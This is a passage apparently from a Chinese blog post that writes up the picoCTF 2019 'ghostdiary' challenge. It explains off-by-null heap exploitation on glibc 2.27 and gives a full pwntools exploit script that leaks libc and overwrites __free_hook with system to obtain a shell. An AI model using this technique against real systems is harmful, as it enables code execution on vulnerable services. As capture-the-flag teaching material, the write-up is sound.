[Off-By-Null]picoctf2019-ghostdiary

知識點(diǎn)

  • off by null 類型漏洞的利用思路
  • 漏洞利用過程中遇到的問題及原理分析

環(huán)境

  • libc2.27

off by null 漏洞利用思路 (參考pu1pgithub)

---
0x120 A
---
0x80 B
---
0x120 C

malloc A B C
FREE A             
edit B1             -> OFF BY NULL
FREE C              -> unlink A
malloc A1
malloc B1           -> overlap chunk with B
free B1             -> B1 into fastbin
edit B              -> modify B1's bk
malloc B2 
malloc B3           -> fake chunk on free_hook
edit B3             -> modify free_hook to system

遇到的問題及原理分析

以本題為例,經(jīng)典菜單題,可以對diary進(jìn)行增加、編輯、刪除操作,在edit函數(shù)中存在off-by-null。

漏洞利用的入口點(diǎn)是通過溢出的一個(gè)\x00字節(jié)覆蓋下一個(gè)堆塊的PREV_INUSE位為0。

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of previous chunk, if unallocated (P clear)  |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of chunk, in bytes                     |A|M|P|
  mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             User data starts here...                          .
        .                                                               .
        .             (malloc_usable_size() bytes)                      .
next    .                                                               |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             (size of chunk, but used for application data)    |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of next chunk, in bytes                |A|0|1|
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

修改完成后,如果free下一個(gè)堆塊,int_free會(huì)檢查與當(dāng)前塊相鄰的堆塊的P位,如果為0,則將這個(gè)塊從所屬的bin中unlink出來,和當(dāng)前需要free的堆塊合并后再放入unsortedbin中。

本題的exp中,我們這樣泄露地址:

code sheet 1

#off-by-null                                  
add(2,0x110)#0                              
add(1,0x78)#1                                
add(2,0x110)#2

首先申請三個(gè)堆塊,其中#0,#2大小相同,#1大小必須是8的整數(shù)倍且不是16的整數(shù)倍,這樣申請堆塊的原因是通過#1 修改#2的P位,同時(shí)利用堆塊間對pre_size的復(fù)用來修改#2的pre_size為#0,#1兩個(gè)堆塊的大小之和,這樣free(#2)的時(shí)候malloc函數(shù)就會(huì)將#0,#1兩個(gè)堆塊視為已經(jīng)被free的堆塊,從而執(zhí)行unlink,將#0,#1,#2這三個(gè)連續(xù)堆塊合成一個(gè)堆塊放入unsortedbin中。這樣一來,我們既可以通過edit(#1)來操作#1,也可以通過malloc新的chunk的方式從unsortedbin中獲取到#1地址,即構(gòu)造了對堆塊#1的overlap。

由于本題遠(yuǎn)程libc版本是2.27,我們需要先將tcache填滿,這樣才能將#0 free到unsortedbin

code sheet 2

for i in range(3,10):
    add(2,0x110)
for i in range(10,17): #  tricky code:will be useful afterwards
    add(1,0xf0)

for i in range(3,10):#fill tcache
    delete(i)
delete(0) #put #0 into unsorted bin

for i in range(10,17):#fill tcache   #  tricky code:will be useful afterwards
    delete(i)

#0 放入unsoredbin中是為了繞過free_int對fd和bk的檢測:

fd&&bk check

我們將#0放入unsortedbin中,由于unsortedbin本身就是一個(gè)合法的bin,因此能夠順利被unlink。

接下來就是通過edit(#1)修改#2的P位,同時(shí)利用堆塊間對pre_size的復(fù)用來修改#2的pre_size為#0,#1兩個(gè)堆塊的大小之和,但是這里有個(gè)坑,如果直接這么寫,是會(huì)報(bào)錯(cuò)的:

code sheet 3

edit(1,"a"*0x70 + p64(0x120 + 0x80))# use off-by-null to modify 'P' bit in next chunk into zero
delete(2) #unlink      error:(double free corrption)

這是因?yàn)樵诟采w#2的P位時(shí),因?yàn)楦采w了整整一個(gè)字節(jié),會(huì)改變#2的size字段,在這里#2的size由原來的0x120被修改為0x100,而在free的時(shí)候會(huì)檢查下一個(gè)相鄰chunk的pre_inuse是否為1:

next chunk check

從上圖可以看到,確定前后chunk位置的方法就是利用當(dāng)前chunk的pre_size字段和size字段,因此在#2的“nextchunk”由于之前的修改,就落在了#2的內(nèi)部,因此需要填充#2的內(nèi)容為0x(var)1來繞過這個(gè)檢查。

code sheet 4

edit(1,"a"*0x70 + p64(0x120 + 0x80))# use off-by-null to modify 'P' bit in next chunk into zero
edit(2,p64(0x21)*32)# bypass double free check
delete(2) #unlink (double free corrption?) 

var的取值是有限制的,在64位系統(tǒng)中,min(var) = 2(因?yàn)?x20是最小堆塊大?。┒鴙ar的上限需要根據(jù)具體情況分析,比如在本exp的上下文中,往#2中填充0x31是不可行的,將會(huì)觸發(fā)unlink中的corrupted size vs. prev_size錯(cuò)誤,分析如下:

之前說過,在free的時(shí)候,會(huì)檢查當(dāng)前堆塊的前后chunk是否INUSE

1570883725453.png

而下個(gè)相鄰chunk是否INUSE,則是由下相鄰個(gè)chunk的下個(gè)相鄰chunk的pre_inuse位決定的:

1570884231643.png

因此,如果在本exp中填充0x31,則#2的下個(gè)chunk的下個(gè)chunk的地址將會(huì)是address(#2) + 0x100 + 0x30 =address(#2) + 0x130 >address(#2) + 0x120也就是超出了#2的可寫范圍;而填充0x21則恰好讓nextchunk(nextchunk(#2))的地址為address(#2) + 0x120,和#2的真正的下個(gè)chunk正好重合,因此也繞過了double free的檢查。

調(diào)試過程中還發(fā)現(xiàn)一個(gè)小坑,就是如果free(#2)的時(shí)候?qū)?yīng)大小tcache沒滿,則會(huì)直接將#2放入對應(yīng)tcache中,不會(huì)觸發(fā)unlink。因此需要code sheet 2中那段tricky code來繞過這個(gè)限制??梢钥闯鲈谟衪cache的libc版本中,tcache操作的優(yōu)先級高于一般的堆塊操作。

上述工作成功將#0,#1,#2這三個(gè)連續(xù)堆塊合成一個(gè)堆塊放入unsortedbin中,此時(shí)我們再申請和#0大小相同的chunk,就會(huì)從unsortedbin中切割出一塊,而這個(gè)塊就可以泄露出libc:

code sheet 5

for i in range(2,9): # clear tcache
    add(2,0x110)
add(2,0x110) #8 split unsorted bin
libc_addr =u64(show(8).strip("\n").ljust(8,"\x00"))
print "[+]Leak libc addr: "+hex(libc_addr)
libc_base = libc_addr - 0x3ebf30
print "[+]libc base :",hex(libc_base)
libc = ELF("./libc.so.6")
system = libc.symbols["system"]
fh = libc.symbols["__free_hook"]
system_addr = libc_base + system
fh_addr = libc_base + fh
print "[+]System addr:",hex(system_addr)

tcache (fastbin like) attack:

code sheet 6

add(1,0x60)#9                           size < size(#1) + size(#2)
delete(9) #                             put #9 into fastbin
edit(1,p64(fh_addr) * 2)#               use chunk overlap to edit #9's bk into free_hook
add(1,0x60)#9                           get #9
add(1,0x60) #10                         get fake chunk in free_hook address
edit(10,p64(system_addr))#              modify free_hook into system
add(1,0x30)#11                          
edit(11,"/bin/sh\x00")
delete(11)#                             use free_hook to get shell          
io.interactive()

完整exp

from pwn import *                             
context.log_level = "debug"                   
context.terminal = ['tmux', 'splitw', '-h']   
io = process("./ghostdiary")                  
def add(choice,size):                         
    io.recvuntil(">")                         
    io.sendline("1")                          
    io.recvuntil("both sides?")               
    io.sendline(str(choice))                  
    io.recvuntil("size:")                     
    io.sendline(str(size))                    
def edit(page,content):                       
    io.recvuntil(">")                         
    io.sendline("2")                          
    io.recvuntil("Page:")                     
    io.sendline(str(page))                    
    io.recvuntil("Content: ")                 
    io.sendline(content)                      
def show(page):                               
    io.recvuntil(">")                         
    io.sendline("3")                          
    io.recvuntil("Page:")                     
    io.sendline(str(page))                    
    io.recvuntil("Content: ")                 
    return io.recv(6)                         
def delete(page):                             
    io.recvuntil(">")                         
    io.sendline("4")                          
    io.recvuntil("Page: ")                    
    io.sendline(str(page))                    
                                                              
#off-by-null                                  
add(2,0x110)#0                                
add(1,0x78)#1                                 
add(2,0x110)#2
#edit(1,"a"*0x70 + p64(0x120 + 0x80))
for i in range(3,10):
    add(2,0x110)
for i in range(10,17):
    add(1,0xf0)

for i in range(3,10):#fill tcache
    delete(i)
delete(0) #put #0 into unsorted bin
for i in range(10,17):#fill tcache
    delete(i)

edit(1,"a"*0x70 + p64(0x120 + 0x80))
edit(2,p64(0x21)*32)
#gdb.attach(io,"dir /usr/src/glibc/glibc-2.27/malloc\nb free")
delete(2) #unlink (double free corrption?) *solved
for i in range(2,9):
    add(2,0x110)
add(2,0x110) #8
libc_addr =u64(show(8).strip("\n").ljust(8,"\x00"))
print "[+]Leak libc addr: "+hex(libc_addr)
libc_base = libc_addr - 0x3ebf30
print "[+]libc base :",hex(libc_base)
libc = ELF("./libc.so.6")
system = libc.symbols["system"]
fh = libc.symbols["__free_hook"]
system_addr = libc_base + system
fh_addr = libc_base + fh
print "[+]System addr:",hex(system_addr)
add(1,0x60)#9
delete(9)
edit(1,p64(fh_addr) * 2)
add(1,0x60)#9
add(1,0x60) #10
edit(10,p64(system_addr))
add(1,0x30)#11
edit(11,"/bin/sh\x00")
delete(11)
io.interactive()

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 參考文章: 關(guān)于heap overflow的一些筆記 by ETenal [CTF]Heap vuln -- u...
    BJChangAn閱讀 2,830評論 2 5
  • 分析方法:全局變量位置布局: 哪些在.bss,哪些在.data,變量之間的關(guān)系哪些變量, 緩沖區(qū), 數(shù)組,存儲了哪...
    fIappy閱讀 1,112評論 0 0
  • 夏天,是一個(gè)狂躁的季節(jié)。太陽狂躁,風(fēng)也狂躁,人的脾氣也跟著狂躁起來,一不留神就爆發(fā)出來。比如今天,頂著烈日干了一個(gè)...
    靈魂衛(wèi)士閱讀 409評論 5 9
  • 最近一段時(shí)間,經(jīng)常疑神疑鬼,對一切充滿擔(dān)憂,擔(dān)心老公喜歡上別的女人,甚至他無意間的一句話都讓我覺得,他不愛我了。 ...
    小咩的字閱讀 273評論 0 0
  • typealias 是用來為已經(jīng)存在的類型重新定義名字的,通過命名,可以使代碼變得更加清晰。使用的語法也很簡單,使...
    程序猿彭閱讀 2,990評論 0 1

友情鏈接更多精彩內(nèi)容